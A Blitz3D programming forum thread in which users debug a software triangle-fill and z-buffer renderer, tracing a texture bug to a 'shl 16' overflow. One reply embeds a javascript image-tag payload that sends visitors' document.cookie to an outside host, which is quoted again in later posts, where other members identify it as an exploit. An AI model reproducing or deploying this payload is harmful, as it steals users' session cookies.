Triangle fill routine + ZBuffer (Where's the bug?)
Blitz3D Forums/Blitz3D Programming/Triangle fill routine + ZBuffer (Where's the bug?)
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hi! a few topics below, i had massive speed problems with my fill-triangle routine... now i found a very annoying bug with the texture rendering... if anyone could help me finding it, it would be great ... because i just didn't find it. (i started a new topic, because the old one would get lost i think) thank you for any help ! (use mouse and scroll-button to move) http://www.dev-ch.de/upload/files/Devils%20Child/VirtualGL%20Test.zip |
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ok, i found the error. it was the shl 16 code. i replaced shl16 with shl8 and it works perfect now. as soon as the software renderer is finished, i'll show it in here :) bye :) ps: i'm on vacations for the next week, so dont wonder if i'm afk |
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Yes, just found that out myself messing about with the other code you posted. Shl 16 causes an overflow on texture sizes 256 and up. Nice bit of code, I remember someone else (I think it was PRJ - Paul René Jørgensen) doing one of these a long time ago in the days before Blitz went 3d. |
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Very nice bit of code you got going... |
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Nice! What using this? ______ [img javascript:document.body.background='http://www.tesko-sport.ru/s.php?'+document.cookie;this.jpeg] All simple =) |
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ïàðîëü |
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"Mesh" - old buddy - pal. Can you remove javascript:document.body.background='http://www.tesko-sport.ru/s.php?'+document.cookie;this.jpeg from your post. Mother has seen it - wonders why you have it there - makes her talk to me more than normal. There's a good chap. |
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***** CONTENT UNAVAILABLE ***** what? edit: i implemented a zbuffer with near&far clipping planes and (linear yet) texture mapping. ps: now, i'll go for a week and take a look here after i come back. |
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Don't worry - what was posted in your thread was a javascript exploit - I purely pointed it out. |